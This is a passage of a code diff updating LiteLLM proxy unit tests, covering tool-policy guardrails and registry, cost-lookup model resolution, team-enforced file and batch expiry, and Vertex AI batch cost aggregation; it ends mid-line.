+async def test_list_tools_with_input_policy_filter(): + row = _mock_row( + tool_id="id1", + tool_name="blocked_tool", + origin=None, + input_policy="blocked", + output_policy="untrusted", + call_count=2, + assignments=None, + ) + prisma = _make_prisma(find_many_rows=[row]) + result = await list_tools(prisma, input_policy="blocked") + assert result[0].input_policy == "blocked" + call_kw = prisma.db.litellm_tooltable.find_many.call_args.kwargs + assert call_kw["where"] == {"input_policy": "blocked"} @pytest.mark.asyncio async def test_get_tool_found(): - prisma = _make_prisma() + row = _mock_row(tool_name="my_tool") + prisma = _make_prisma(find_unique_row=row) result = await get_tool(prisma, "my_tool") assert result is not None assert result.tool_name == "my_tool" - prisma.db.query_raw.assert_awaited_once() + prisma.db.litellm_tooltable.find_unique.assert_awaited_once_with( + where={"tool_name": "my_tool"} + ) @pytest.mark.asyncio async def test_get_tool_not_found(): - prisma = _make_prisma(query_rows=[]) + prisma = _make_prisma(find_unique_row=None) result = await get_tool(prisma, "nonexistent") assert result is None @pytest.mark.asyncio -async def test_update_tool_policy_calls_execute_raw(): - row = { - "tool_id": "uuid-1", - "tool_name": "my_tool", - "origin": "user_defined", - "call_policy": "blocked", - "call_count": 1, - "assignments": {}, - "key_hash": None, - "team_id": None, - "key_alias": None, - "created_at": datetime.now(timezone.utc), - "updated_at": datetime.now(timezone.utc), - "created_by": None, - "updated_by": "admin", - } - prisma = _make_prisma(query_rows=[row]) - result = await update_tool_policy(prisma, "my_tool", "blocked", "admin") +async def test_update_tool_policy_calls_upsert_then_get_tool(): + row = _mock_row( + tool_name="my_tool", + input_policy="blocked", + output_policy="untrusted", + updated_by="admin", + ) + prisma = _make_prisma(find_unique_row=row) + result = await update_tool_policy( + prisma, "my_tool", updated_by="admin", input_policy="blocked" + ) assert result is not None - assert result.call_policy == "blocked" - prisma.db.execute_raw.assert_awaited_once() - call_args = prisma.db.execute_raw.call_args - sql = call_args.args[0] - assert "ON CONFLICT" in sql - assert "call_policy" in sql + assert result.input_policy == "blocked" + prisma.db.litellm_tooltable.upsert.assert_awaited_once() + call_kw = prisma.db.litellm_tooltable.upsert.call_args.kwargs + assert call_kw["where"] == {"tool_name": "my_tool"} + assert call_kw["data"]["update"]["input_policy"] == "blocked" + assert call_kw["data"]["update"]["updated_by"] == "admin" + prisma.db.litellm_tooltable.find_unique.assert_awaited_with( + where={"tool_name": "my_tool"} + ) @pytest.mark.asyncio async def test_get_tools_by_names_returns_policy_map(): rows = [ - {"tool_name": "tool_a", "call_policy": "trusted"}, - {"tool_name": "tool_b", "call_policy": "blocked"}, + _mock_row(tool_name="tool_a", input_policy="trusted", output_policy="untrusted"), + _mock_row(tool_name="tool_b", input_policy="blocked", output_policy="untrusted"), ] - prisma = _make_prisma(query_rows=rows) + prisma = _make_prisma(find_many_rows=rows) result = await get_tools_by_names(prisma, ["tool_a", "tool_b"]) - assert result == {"tool_a": "trusted", "tool_b": "blocked"} + assert result == { + "tool_a": ("trusted", "untrusted"), + "tool_b": ("blocked", "untrusted"), + } + prisma.db.litellm_tooltable.find_many.assert_awaited_once_with( + where={"tool_name": {"in": ["tool_a", "tool_b"]}} + ) @pytest.mark.asyncio @@ -194,4 +221,71 @@ async def test_get_tools_by_names_empty_list(): prisma = _make_prisma() result = await get_tools_by_names(prisma, []) assert result == {} - prisma.db.query_raw.assert_not_awaited() + prisma.db.litellm_tooltable.find_many.assert_not_awaited() + + +# --- ToolPolicyRegistry --- + + +def _mock_tool_row( + tool_name: str, + input_policy: str = "untrusted", + output_policy: str = "untrusted", +): + row = MagicMock() + row.tool_name = tool_name + row.input_policy = input_policy + row.output_policy = output_policy + return row + + +def _mock_perm_row(object_permission_id: str, blocked_tools: list): + row = MagicMock() + row.object_permission_id = object_permission_id + row.blocked_tools = blocked_tools + return row + + +@pytest.mark.asyncio +async def test_tool_policy_registry_sync_and_get_effective_policies(): + """Registry syncs from DB; get_effective_policies returns merged blocked + global.""" + prisma = MagicMock() + prisma.db.litellm_tooltable.find_many = AsyncMock( + return_value=[ + _mock_tool_row("tool_a", input_policy="trusted"), + _mock_tool_row("tool_b", input_policy="blocked"), + _mock_tool_row("tool_c", input_policy="untrusted"), + ] + ) + prisma.db.litellm_objectpermissiontable.find_many = AsyncMock( + return_value=[ + _mock_perm_row("op-key-1", ["tool_a"]), + _mock_perm_row("op-team-1", ["tool_c"]), + ] + ) + registry = get_tool_policy_registry() + await registry.sync_tool_policy_from_db(prisma) + assert registry.is_initialized() + # Key blocked: tool_a. Team blocked: tool_c. Global: tool_b blocked. + result = registry.get_effective_policies( + ["tool_a", "tool_b", "tool_c"], + object_permission_id="op-key-1", + team_object_permission_id="op-team-1", + ) + assert result["tool_a"] == "blocked" + assert result["tool_b"] == "blocked" + assert result["tool_c"] == "blocked" + # No op ids: only global + result_global = registry.get_effective_policies(["tool_a", "tool_b", "tool_c"]) + assert result_global["tool_a"] == "trusted" + assert result_global["tool_b"] == "blocked" + assert result_global["tool_c"] == "untrusted" + + +@pytest.mark.asyncio +async def test_tool_policy_registry_not_initialized_returns_untrusted(): + """When not synced, get_effective_policies still returns untrusted for unknown tools.""" + registry = ToolPolicyRegistry() + assert not registry.is_initialized() + result = registry.get_effective_policies(["unknown_tool"]) + assert result == {"unknown_tool": "untrusted"} diff --git a/tests/test_litellm/proxy/guardrails/guardrail_hooks/test_tool_policy_guardrail.py b/tests/test_litellm/proxy/guardrails/guardrail_hooks/test_tool_policy_guardrail.py index c6a81efbf0b..943a8d4be75 100644 --- a/tests/test_litellm/proxy/guardrails/guardrail_hooks/test_tool_policy_guardrail.py +++ b/tests/test_litellm/proxy/guardrails/guardrail_hooks/test_tool_policy_guardrail.py @@ -12,9 +12,8 @@ from fastapi import HTTPException sys.path.insert(0, os.path.abspath("../../../../../..")) -from litellm.proxy.guardrails.guardrail_hooks.tool_policy.tool_policy_guardrail import ( - ToolPolicyGuardrail, -) +from litellm.proxy.guardrails.guardrail_hooks.tool_policy.tool_policy_guardrail import \ + ToolPolicyGuardrail from litellm.types.guardrails import GuardrailEventHooks @@ -70,10 +69,21 @@ async def test_no_tool_calls_in_response_passes_through(guardrail): assert result is inputs +def _registry_mock(policy_map: dict): + """Return a mock registry with is_initialized=True and get_effective_policies returning policy_map.""" + reg = MagicMock() + reg.is_initialized.return_value = True + reg.get_effective_policies.return_value = policy_map + return reg + + @pytest.mark.asyncio async def test_untrusted_tools_pass_through(guardrail): policy_map = {"search": "untrusted", "read_file": "trusted"} - with patch.object(guardrail, "_get_policies_cached", new=AsyncMock(return_value=policy_map)): + with patch( + "litellm.proxy.db.tool_registry_writer.get_tool_policy_registry", + return_value=_registry_mock(policy_map), + ): inputs: Any = _tool_request_inputs(["search", "read_file"]) result = await guardrail.apply_guardrail( inputs=inputs, request_data={}, input_type="request" @@ -84,7 +94,10 @@ async def test_untrusted_tools_pass_through(guardrail): @pytest.mark.asyncio async def test_blocked_tool_in_request_raises_http_exception(guardrail): policy_map = {"dangerous_tool": "blocked"} - with patch.object(guardrail, "_get_policies_cached", new=AsyncMock(return_value=policy_map)): + with patch( + "litellm.proxy.db.tool_registry_writer.get_tool_policy_registry", + return_value=_registry_mock(policy_map), + ): inputs: Any = _tool_request_inputs(["dangerous_tool"]) with pytest.raises(HTTPException) as exc_info: await guardrail.apply_guardrail( @@ -97,7 +110,10 @@ async def test_blocked_tool_in_request_raises_http_exception(guardrail): @pytest.mark.asyncio async def test_blocked_tool_in_response_raises_http_exception(guardrail): policy_map = {"exfil_tool": "blocked"} - with patch.object(guardrail, "_get_policies_cached", new=AsyncMock(return_value=policy_map)): + with patch( + "litellm.proxy.db.tool_registry_writer.get_tool_policy_registry", + return_value=_registry_mock(policy_map), + ): inputs: Any = _tool_response_inputs(["exfil_tool"]) with pytest.raises(HTTPException) as exc_info: await guardrail.apply_guardrail( @@ -110,7 +126,10 @@ async def test_blocked_tool_in_response_raises_http_exception(guardrail): @pytest.mark.asyncio async def test_mixed_blocked_and_allowed_raises_for_blocked(guardrail): policy_map = {"safe_tool": "trusted", "bad_tool": "blocked"} - with patch.object(guardrail, "_get_policies_cached", new=AsyncMock(return_value=policy_map)): + with patch( + "litellm.proxy.db.tool_registry_writer.get_tool_policy_registry", + return_value=_registry_mock(policy_map), + ): inputs: Any = _tool_request_inputs(["safe_tool", "bad_tool"]) with pytest.raises(HTTPException) as exc_info: await guardrail.apply_guardrail( @@ -123,8 +142,11 @@ async def test_mixed_blocked_and_allowed_raises_for_blocked(guardrail): @pytest.mark.asyncio async def test_tool_not_in_db_passes_through(guardrail): - """Tools not found in the DB (no entry) should not be blocked.""" - with patch.object(guardrail, "_get_policies_cached", new=AsyncMock(return_value={})): + """When registry returns no policy (or empty), tools are not blocked.""" + with patch( + "litellm.proxy.db.tool_registry_writer.get_tool_policy_registry", + return_value=_registry_mock({}), + ): inputs: Any = _tool_request_inputs(["unknown_tool"]) result = await guardrail.apply_guardrail( inputs=inputs, request_data={}, input_type="request" @@ -133,43 +155,30 @@ async def test_tool_not_in_db_passes_through(guardrail): @pytest.mark.asyncio -async def test_get_policies_cached_uses_cache(guardrail): - """Second call with same tool names should return the cached result.""" - policy_map = {"tool_a": "trusted"} +async def test_registry_not_initialized_passes_through(guardrail): + """When registry is not initialized, no tools are blocked (empty policy map).""" + reg = MagicMock() + reg.is_initialized.return_value = False with patch( - "litellm.proxy.db.tool_registry_writer.get_tools_by_names", - new=AsyncMock(return_value=policy_map), - ) as mock_db, patch( - "litellm.proxy.proxy_server.prisma_client", - new=MagicMock(), + "litellm.proxy.db.tool_registry_writer.get_tool_policy_registry", + return_value=reg, ): - # first call — should hit DB - result1 = await guardrail._get_policies_cached(["tool_a"]) - assert result1 == policy_map - - # second call — should hit cache, not DB again - result2 = await guardrail._get_policies_cached(["tool_a"]) - assert result2 == policy_map - - assert mock_db.call_count == 1 - - -@pytest.mark.asyncio -async def test_get_policies_cached_no_prisma(guardrail): - """Without a prisma client, returns empty dict.""" - with patch( - "litellm.proxy.proxy_server.prisma_client", - None, - ): - result = await guardrail._get_policies_cached(["tool_a"]) - assert result == {} + inputs: Any = _tool_request_inputs(["any_tool"]) + result = await guardrail.apply_guardrail( + inputs=inputs, request_data={}, input_type="request" + ) + assert result is inputs + reg.get_effective_policies.assert_not_called() @pytest.mark.asyncio async def test_response_tool_calls_as_objects(guardrail): """tool_calls that are objects (not dicts) with .function.name should work.""" policy_map = {"obj_tool": "blocked"} - with patch.object(guardrail, "_get_policies_cached", new=AsyncMock(return_value=policy_map)): + with patch( + "litellm.proxy.db.tool_registry_writer.get_tool_policy_registry", + return_value=_registry_mock(policy_map), + ): fn = MagicMock() fn.name = "obj_tool" tc = MagicMock() diff --git a/tests/test_litellm/proxy/guardrails/test_guardrail_endpoints.py b/tests/test_litellm/proxy/guardrails/test_guardrail_endpoints.py index 62a6e777b0d..ca224726361 100644 --- a/tests/test_litellm/proxy/guardrails/test_guardrail_endpoints.py +++ b/tests/test_litellm/proxy/guardrails/test_guardrail_endpoints.py @@ -1112,6 +1112,47 @@ async def test_get_guardrail_info_endpoint_db_guardrail(mocker): assert result.guardrail_definition_location == "db" +class TestBuildFieldDict: + """Test _build_field_dict handles both enum and string ui_type values.""" + + def test_build_field_dict_with_string_ui_type(self): + """Test that _build_field_dict works when ui_type is a plain string (e.g. BlockCodeExecutionGuardrailConfigModel).""" + from unittest.mock import MagicMock + + from litellm.proxy.guardrails.guardrail_endpoints import _build_field_dict + + field = MagicMock() + field.json_schema_extra = {"ui_type": "multiselect", "options": ["python", "javascript"]} + + result = _build_field_dict( + field=field, + field_annotation=str, + description="Test field", + required=False, + ) + + assert result["type"] == "multiselect" + assert result["description"] == "Test field" + + def test_build_field_dict_with_enum_ui_type(self): + """Test that _build_field_dict works when ui_type is a GuardrailParamUITypes enum.""" + from unittest.mock import MagicMock + + from litellm.proxy.guardrails.guardrail_endpoints import _build_field_dict + from litellm.types.guardrails import GuardrailParamUITypes + + field = MagicMock() + field.json_schema_extra = {"ui_type": GuardrailParamUITypes.BOOL} + + result = _build_field_dict( + field=field, + field_annotation=bool, + description="Test bool field", + required=True, + ) + + assert result["type"] == "bool" + assert result["required"] is True # --- Team guardrail registration (register / submissions) --- MOCK_REGISTER_REQUEST = RegisterGuardrailRequest( @@ -1571,4 +1612,4 @@ async def test_list_submissions_summary_counts_unaffected_by_filters(mocker): assert len(result.submissions) == 1 # filtered assert result.summary.total == 2 # unfiltered assert result.summary.pending_review == 1 - assert result.summary.active == 1 \ No newline at end of file + assert result.summary.active == 1 diff --git a/tests/test_litellm/proxy/management_endpoints/test_cost_tracking_settings.py b/tests/test_litellm/proxy/management_endpoints/test_cost_tracking_settings.py index 275240dcc9e..1284cceba26 100644 --- a/tests/test_litellm/proxy/management_endpoints/test_cost_tracking_settings.py +++ b/tests/test_litellm/proxy/management_endpoints/test_cost_tracking_settings.py @@ -270,3 +270,123 @@ class TestCostTrackingSettings: assert "error" in response_data["detail"] assert "STORE_MODEL_IN_DB" in response_data["detail"]["error"] + + +class TestResolveModelForCostLookup: + """Tests for _resolve_model_for_cost_lookup base_model resolution.""" + + def test_resolves_base_model_for_azure_deployment(self): + """ + When a model group has base_model set in model_info, + _resolve_model_for_cost_lookup should return the base_model + instead of the raw litellm_params.model (Azure deployment name). + """ + from litellm.proxy.management_endpoints.cost_tracking_settings import ( + _resolve_model_for_cost_lookup, + ) + + mock_router = MagicMock() + mock_router.get_model_list.return_value = [ + { + "model_name": "gpt-5.3-codex", + "litellm_params": { + "model": "azure/openai/gpt-5.3-codex", + "api_base": "https://fake.openai.azure.com/", + "api_key": "fake-key", + }, + "model_info": { + "id": "test-id", + "base_model": "azure/gpt-4o", + }, + } + ] + + with patch( + "litellm.proxy.proxy_server.llm_router", + mock_router, + ): + resolved_model, provider = _resolve_model_for_cost_lookup("gpt-5.3-codex") + + assert resolved_model == "azure/gpt-4o" + mock_router.get_model_list.assert_called_once_with(model_name="gpt-5.3-codex") + + def test_falls_back_to_litellm_params_model_when_no_base_model(self): + """ + When no base_model is set, should fall back to litellm_params.model. + """ + from litellm.proxy.management_endpoints.cost_tracking_settings import ( + _resolve_model_for_cost_lookup, + ) + + mock_router = MagicMock() + mock_router.get_model_list.return_value = [ + { + "model_name": "gpt-4", + "litellm_params": { + "model": "openai/gpt-4", + }, + "model_info": { + "id": "test-id", + }, + } + ] + + with patch( + "litellm.proxy.proxy_server.llm_router", + mock_router, + ): + resolved_model, provider = _resolve_model_for_cost_lookup("gpt-4") + + assert resolved_model == "openai/gpt-4" + + def test_resolves_base_model_from_litellm_params(self): + """ + When base_model is in litellm_params (not model_info), + it should still be resolved. + """ + from litellm.proxy.management_endpoints.cost_tracking_settings import ( + _resolve_model_for_cost_lookup, + ) + + mock_router = MagicMock() + mock_router.get_model_list.return_value = [ + { + "model_name": "my-azure-model", + "litellm_params": { + "model": "azure/my-custom-deployment", + "base_model": "azure/gpt-4o-mini", + }, + "model_info": { + "id": "test-id", + }, + } + ] + + with patch( + "litellm.proxy.proxy_server.llm_router", + mock_router, + ): + resolved_model, provider = _resolve_model_for_cost_lookup( + "my-azure-model" + ) + + assert resolved_model == "azure/gpt-4o-mini" + + def test_returns_original_model_when_no_router(self): + """ + When no router is available, should return the original model name. + """ + from litellm.proxy.management_endpoints.cost_tracking_settings import ( + _resolve_model_for_cost_lookup, + ) + + with patch( + "litellm.proxy.proxy_server.llm_router", + None, + ): + resolved_model, provider = _resolve_model_for_cost_lookup( + "azure/openai/gpt-5.3-codex" + ) + + assert resolved_model == "azure/openai/gpt-5.3-codex" + assert provider is None diff --git a/tests/test_litellm/proxy/openai_files_endpoint/test_files_endpoint.py b/tests/test_litellm/proxy/openai_files_endpoint/test_files_endpoint.py index fb063ef8ee7..0239c39e67f 100644 --- a/tests/test_litellm/proxy/openai_files_endpoint/test_files_endpoint.py +++ b/tests/test_litellm/proxy/openai_files_endpoint/test_files_endpoint.py @@ -1168,3 +1168,138 @@ def test_create_file_with_deep_nested_litellm_metadata( assert captured_litellm_metadata["config"]["database"]["port"] == "5432" assert "cache" in captured_litellm_metadata["config"] assert captured_litellm_metadata["config"]["cache"]["enabled"] == "true" + + +# --------------------------------------------------------------------------- +# Team-level enforced_file_expires_after tests +# --------------------------------------------------------------------------- + + +def _make_capturing_managed_files(): + """Create a DummyManagedFiles that captures the expires_after from the request.""" + from litellm.llms.base_llm.files.transformation import BaseFileEndpoints + + captured = {} + + class CapturingManagedFiles(BaseFileEndpoints): + async def acreate_file( + self, + llm_router, + create_file_request, + target_model_names_list, + litellm_parent_otel_span, + user_api_key_dict, + ): + if isinstance(create_file_request, dict): + captured["expires_after"] = create_file_request.get("expires_after") + else: + captured["expires_after"] = getattr( + create_file_request, "expires_after", None + ) + return OpenAIFileObject( + id="file-abc123", + object="file", + bytes=100, + created_at=1234567890, + filename="mydata.jsonl", + purpose="batch", + status="uploaded", + ) + + async def afile_retrieve(self, file_id, litellm_parent_otel_span, llm_router): + raise NotImplementedError + + async def afile_list(self, purpose, litellm_parent_otel_span): + raise NotImplementedError + + async def afile_delete( + self, file_id, litellm_parent_otel_span, llm_router, **data + ): + raise NotImplementedError + + async def afile_content( + self, file_id, litellm_parent_otel_span, llm_router, **data + ): + raise NotImplementedError + + return CapturingManagedFiles(), captured + + +def _post_file_with_team_metadata( + monkeypatch, + llm_router: Router, + team_metadata: dict, + form_data: dict, +): + """POST /v1/files with given team_metadata, return captured expires_after.""" + from litellm.proxy.auth.user_api_key_auth import user_api_key_auth + + proxy_logging_obj = ProxyLogging( + user_api_key_cache=DualCache(default_in_memory_ttl=1) + ) + dummy, captured = _make_capturing_managed_files() + proxy_logging_obj.proxy_hook_mapping["managed_files"] = dummy + monkeypatch.setattr("litellm.proxy.proxy_server.llm_router", llm_router) + monkeypatch.setattr( + "litellm.proxy.proxy_server.proxy_logging_obj", proxy_logging_obj + ) + + user_key = UserAPIKeyAuth(api_key="test-key", team_metadata=team_metadata) + app.dependency_overrides[user_api_key_auth] = lambda: user_key + + test_file = ("mydata.jsonl", b'{"prompt": "Hello"}', "application/json") + try: + response = client.post( + "/v1/files", + files={"file": test_file}, + data=form_data, + headers={"Authorization": "Bearer test-key"}, + ) + assert response.status_code == 200 + finally: + app.dependency_overrides.clear() + + return captured["expires_after"] + + +def test_file_team_override_overrides_caller( + mocker: MockerFixture, monkeypatch, llm_router: Router +): + """Team enforced_file_expires_after wins over caller-provided value.""" + expires_after = _post_file_with_team_metadata( + monkeypatch, + llm_router, + team_metadata={ + "enforced_file_expires_after": { + "anchor": "created_at", + "seconds": 3600, + } + }, + form_data={ + "purpose": "batch", + "target_model_names": "gpt-3.5-turbo", + "expires_after[anchor]": "created_at", + "expires_after[seconds]": "86400", + }, + ) + assert expires_after["anchor"] == "created_at" + assert expires_after["seconds"] == 3600 + + +def test_file_no_team_setting_preserves_caller( + mocker: MockerFixture, monkeypatch, llm_router: Router +): + """No team setting = caller-provided expires_after passes through.""" + expires_after = _post_file_with_team_metadata( + monkeypatch, + llm_router, + team_metadata={}, + form_data={ + "purpose": "batch", + "target_model_names": "gpt-3.5-turbo", + "expires_after[anchor]": "created_at", + "expires_after[seconds]": "86400", + }, + ) + assert expires_after["anchor"] == "created_at" + assert expires_after["seconds"] == 86400 diff --git a/tests/test_litellm/proxy/pass_through_endpoints/test_vertex_ai_batch_passthrough.py b/tests/test_litellm/proxy/pass_through_endpoints/test_vertex_ai_batch_passthrough.py index 66c063d47d8..c2f6d3fd539 100644 --- a/tests/test_litellm/proxy/pass_through_endpoints/test_vertex_ai_batch_passthrough.py +++ b/tests/test_litellm/proxy/pass_through_endpoints/test_vertex_ai_batch_passthrough.py @@ -227,52 +227,29 @@ class TestVertexAIBatchPassthroughHandler: mock_managed_files_hook.store_unified_object_id.assert_called_once() def test_batch_cost_calculation_integration(self): - """Test integration with batch cost calculation""" + """Single Vertex AI response → non-zero cost with correct token counts.""" from litellm.batches.batch_utils import calculate_vertex_ai_batch_cost_and_usage - - # Mock Vertex AI batch responses + vertex_ai_batch_responses = [ { - "status": "JOB_STATE_SUCCEEDED", "response": { - "candidates": [ - { - "content": { - "parts": [ - {"text": "Hello, world!"} - ] - } - } - ], "usageMetadata": { "promptTokenCount": 10, "candidatesTokenCount": 5, - "totalTokenCount": 15 + "totalTokenCount": 15, } } } ] - - with patch('litellm.llms.vertex_ai.gemini.vertex_and_google_ai_studio_gemini.VertexGeminiConfig') as mock_config: - with patch('litellm.completion_cost') as mock_completion_cost: - - # Setup mocks - mock_config.return_value._transform_google_generate_content_to_openai_model_response.return_value = Mock( - usage=Mock(total_tokens=15, prompt_tokens=10, completion_tokens=5) - ) - mock_completion_cost.return_value = 0.001 - - # Test the cost calculation - total_cost, usage = calculate_vertex_ai_batch_cost_and_usage( - vertex_ai_batch_responses, - model_name="gemini-1.5-flash" - ) - - # Verify results - assert total_cost == 0.001 - assert usage.total_tokens == 15 - assert usage.prompt_tokens == 10 - assert usage.completion_tokens == 5 + + total_cost, usage = calculate_vertex_ai_batch_cost_and_usage( + vertex_ai_batch_responses, model_name="gemini-1.5-flash-001" + ) + + assert usage.total_tokens == 15 + assert usage.prompt_tokens == 10 + assert usage.completion_tokens == 5 + assert total_cost > 0, "batch_cost_calculator should return a non-zero cost" def test_batch_response_transformation(self): """Test transformation of Vertex AI batch responses to OpenAI format""" @@ -385,155 +362,107 @@ class TestVertexAIBatchPassthroughHandler: class TestVertexAIBatchCostCalculation: - """Test cases for Vertex AI batch cost calculation functionality""" + """Test cases for Vertex AI batch cost calculation functionality. - def test_calculate_vertex_ai_batch_cost_and_usage_success(self): - """Test successful batch cost and usage calculation""" + The function under test (calculate_vertex_ai_batch_cost_and_usage) extracts + usageMetadata directly from Vertex AI response dicts and calls + batch_cost_calculator — no VertexGeminiConfig transformation involved. + """ + + def test_should_aggregate_cost_and_usage_across_responses(self): + """Two successful responses → costs and token counts are summed.""" from litellm.batches.batch_utils import calculate_vertex_ai_batch_cost_and_usage - - # Mock successful batch responses - vertex_ai_batch_responses = [ + + responses = [ { - "status": "JOB_STATE_SUCCEEDED", "response": { - "candidates": [ - { - "content": { - "parts": [ - {"text": "Hello, world!"} - ] - } - } - ], "usageMetadata": { "promptTokenCount": 10, "candidatesTokenCount": 5, - "totalTokenCount": 15 + "totalTokenCount": 15, } } }, { - "status": "JOB_STATE_SUCCEEDED", "response": { - "candidates": [ - { - "content": { - "parts": [ - {"text": "How are you?"} - ] - } - } - ], "usageMetadata": { "promptTokenCount": 8, "candidatesTokenCount": 3, - "totalTokenCount": 11 + "totalTokenCount": 11, } } - } + }, ] - - with patch('litellm.llms.vertex_ai.gemini.vertex_and_google_ai_studio_gemini.VertexGeminiConfig') as mock_config: - with patch('litellm.completion_cost') as mock_completion_cost: - - # Setup mocks - mock_model_response = Mock() - mock_model_response.usage = Mock(total_tokens=15, prompt_tokens=10, completion_tokens=5) - mock_config.return_value._transform_google_generate_content_to_openai_model_response.return_value = mock_model_response - mock_completion_cost.return_value = 0.001 - - # Test the calculation - total_cost, usage = calculate_vertex_ai_batch_cost_and_usage( - vertex_ai_batch_responses, - model_name="gemini-1.5-flash" - ) - - # Verify results - assert total_cost == 0.002 # 2 responses * 0.001 each - assert usage.total_tokens == 30 # 15 + 15 - assert usage.prompt_tokens == 20 # 10 + 10 - assert usage.completion_tokens == 10 # 5 + 5 - def test_calculate_vertex_ai_batch_cost_and_usage_with_failed_responses(self): - """Test batch cost calculation with some failed responses""" + total_cost, usage = calculate_vertex_ai_batch_cost_and_usage( + responses, model_name="gemini-1.5-flash-001" + ) + + assert usage.prompt_tokens == 18 + assert usage.completion_tokens == 8 + assert usage.total_tokens == 26 + assert total_cost > 0, "batch_cost_calculator should return a non-zero cost" + + def test_should_skip_responses_with_null_response_body(self): + """Failed lines (response: None) are skipped without error.""" from litellm.batches.batch_utils import calculate_vertex_ai_batch_cost_and_usage - - # Mock batch responses with some failures - vertex_ai_batch_responses = [ + + responses = [ { - "status": "JOB_STATE_SUCCEEDED", "response": { - "candidates": [ - { - "content": { - "parts": [ - {"text": "Hello, world!"} - ] - } - } - ], "usageMetadata": { "promptTokenCount": 10, "candidatesTokenCount": 5, - "totalTokenCount": 15 + "totalTokenCount": 15, } } }, + {"status": "JOB_STATE_FAILED", "response": None}, { - "status": "JOB_STATE_FAILED", # Failed response - "response": None - }, - { - "status": "JOB_STATE_SUCCEEDED", "response": { - "candidates": [ - { - "content": { - "parts": [ - {"text": "How are you?"} - ] - } - } - ], "usageMetadata": { "promptTokenCount": 8, "candidatesTokenCount": 3, - "totalTokenCount": 11 + "totalTokenCount": 11, } } - } + }, ] - - with patch('litellm.llms.vertex_ai.gemini.vertex_and_google_ai_studio_gemini.VertexGeminiConfig') as mock_config: - with patch('litellm.completion_cost') as mock_completion_cost: - - # Setup mocks - mock_model_response = Mock() - mock_model_response.usage = Mock(total_tokens=15, prompt_tokens=10, completion_tokens=5) - mock_config.return_value._transform_google_generate_content_to_openai_model_response.return_value = mock_model_response - mock_completion_cost.return_value = 0.001 - - # Test the calculation - total_cost, usage = calculate_vertex_ai_batch_cost_and_usage( - vertex_ai_batch_responses, - model_name="gemini-1.5-flash" - ) - - # Verify results - should only process successful responses - assert total_cost == 0.002 # 2 successful responses * 0.001 each - assert usage.total_tokens == 30 # 15 + 15 - assert usage.prompt_tokens == 20 # 10 + 10 - assert usage.completion_tokens == 10 # 5 + 5 - def test_calculate_vertex_ai_batch_cost_and_usage_empty_responses(self): - """Test batch cost calculation with empty response list""" + total_cost, usage = calculate_vertex_ai_batch_cost_and_usage( + responses, model_name="gemini-1.5-flash-001" + ) + + assert usage.prompt_tokens == 18 + assert usage.completion_tokens == 8 + assert usage.total_tokens == 26 + assert total_cost > 0 + + def test_should_return_zeros_for_empty_response_list(self): + """Empty input → zero cost and zero usage.""" from litellm.batches.batch_utils import calculate_vertex_ai_batch_cost_and_usage - - # Test with empty list - total_cost, usage = calculate_vertex_ai_batch_cost_and_usage([], model_name="gemini-1.5-flash") - - # Verify results + + total_cost, usage = calculate_vertex_ai_batch_cost_and_usage( + [], model_name="gemini-1.5-flash-001" + ) + assert total_cost == 0.0 assert usage.total_tokens == 0 assert usage.prompt_tokens == 0 assert usage.completion_tokens == 0 + + def test_should_handle_missing_usage_metadata_gracefully(self): + """Response without usageMetadata → 0 tokens, 0 cost for that line.""" + from litellm.batches.batch_utils import calculate_vertex_ai_batch_cost_and_usage + + responses = [ + {"response": {"candidates": [{"content": {"parts": [{"text": "hi"}]}}]}}, + ] + + total_cost, usage = calculate_vertex_ai_batch_cost_and_usage( + responses, model_name="gemini-1.5-flash-001" + ) + + assert usage.prompt_tokens == 0 + assert usage.completion_tokens == 0 + assert usage.total_tokens == 0 diff --git a/tests/test_litellm/proxy/test_batch_expiry.py b/tests/test_litellm/proxy/test_batch_expiry.py new file mode 100644 index 00000000000..1f54f190c63 --- /dev/null +++ b/tests/test_litellm/proxy/test_batch_expiry.py @@ -0,0 +1,162 @@ +""" +Tests for batch output_expires_after passthrough and team-level expiry enforcement. +""" + +import os +import sys +from unittest.mock import MagicMock, patch + +import pytest + +sys.path.insert( + 0, os.path.abspath("../../..") +) # Adds the parent directory to the system path + +import litellm +from litellm.caching.caching import DualCache +from litellm.proxy._types import UserAPIKeyAuth +from litellm.proxy.auth.user_api_key_auth import user_api_key_auth +from litellm.proxy.proxy_server import app +from litellm.proxy.utils import ProxyLogging +from litellm.router import Router +from litellm.types.utils import LiteLLMBatch + +from fastapi.testclient import TestClient + +client = TestClient(app) + +TEAM_EXPIRY = {"anchor": "created_at", "seconds": 3600} +CALLER_EXPIRY = {"anchor": "created_at", "seconds": 86400} + + +@pytest.fixture +def llm_router() -> Router: + return Router( + model_list=[ + { + "model_name": "gpt-3.5-turbo", + "litellm_params": { + "model": "openai/gpt-3.5-turbo", + "api_key": "test-key", + }, + "model_info": {"id": "gpt-3.5-turbo-id"}, + }, + ] + ) + + +def _setup_proxy(monkeypatch, llm_router: Router): + proxy_logging_obj = ProxyLogging( + user_api_key_cache=DualCache(default_in_memory_ttl=1) + ) + monkeypatch.setattr("litellm.proxy.proxy_server.llm_router", llm_router) + monkeypatch.setattr( + "litellm.proxy.proxy_server.proxy_logging_obj", proxy_logging_obj + ) + + +def _make_batch_response() -> LiteLLMBatch: + return LiteLLMBatch( + id="batch_abc123", + completion_window="24h", + created_at=1234567890, + endpoint="/v1/chat/completions", + input_file_id="file-abc123", + object="batch", + status="validating", + ) + + +def test_output_expires_after_passthrough(): + """output_expires_after flows through create_batch to the provider.""" + captured = {} + + def capturing_create(**kwargs): + captured.update(kwargs) + mock_response = MagicMock() + mock_response.id = "batch_123" + return mock_response + + with patch("litellm.batches.main.openai_batches_instance") as mock_instance: + mock_instance.create_batch.side_effect = capturing_create + litellm.create_batch( + completion_window="24h", + endpoint="/v1/chat/completions", + input_file_id="file-abc123", + output_expires_after=CALLER_EXPIRY, + custom_llm_provider="openai", + ) + + assert captured["create_batch_data"]["output_expires_after"] == CALLER_EXPIRY + + +class TestBatchEndpointTeamOverride: + """Verify team-level enforced_batch_output_expires_after in the proxy endpoint.""" + + def _post_batch( + self, + monkeypatch, + llm_router: Router, + team_metadata: dict, + request_body: dict, + ) -> dict: + """POST /v1/batches with given team_metadata and body, return captured kwargs.""" + _setup_proxy(monkeypatch, llm_router) + + user_key = UserAPIKeyAuth( + api_key="test-key", + team_metadata=team_metadata, + ) + app.dependency_overrides[user_api_key_auth] = lambda: user_key + + captured_kwargs = {} + + async def mock_acreate_batch(**kwargs): + captured_kwargs.update(kwargs) + return _make_batch_response() + + monkeypatch.setattr(litellm, "acreate_batch", mock_acreate_batch) + + try: + response = client.post( + "/v1/batches", + json=request_body, + headers={"Authorization": "Bearer 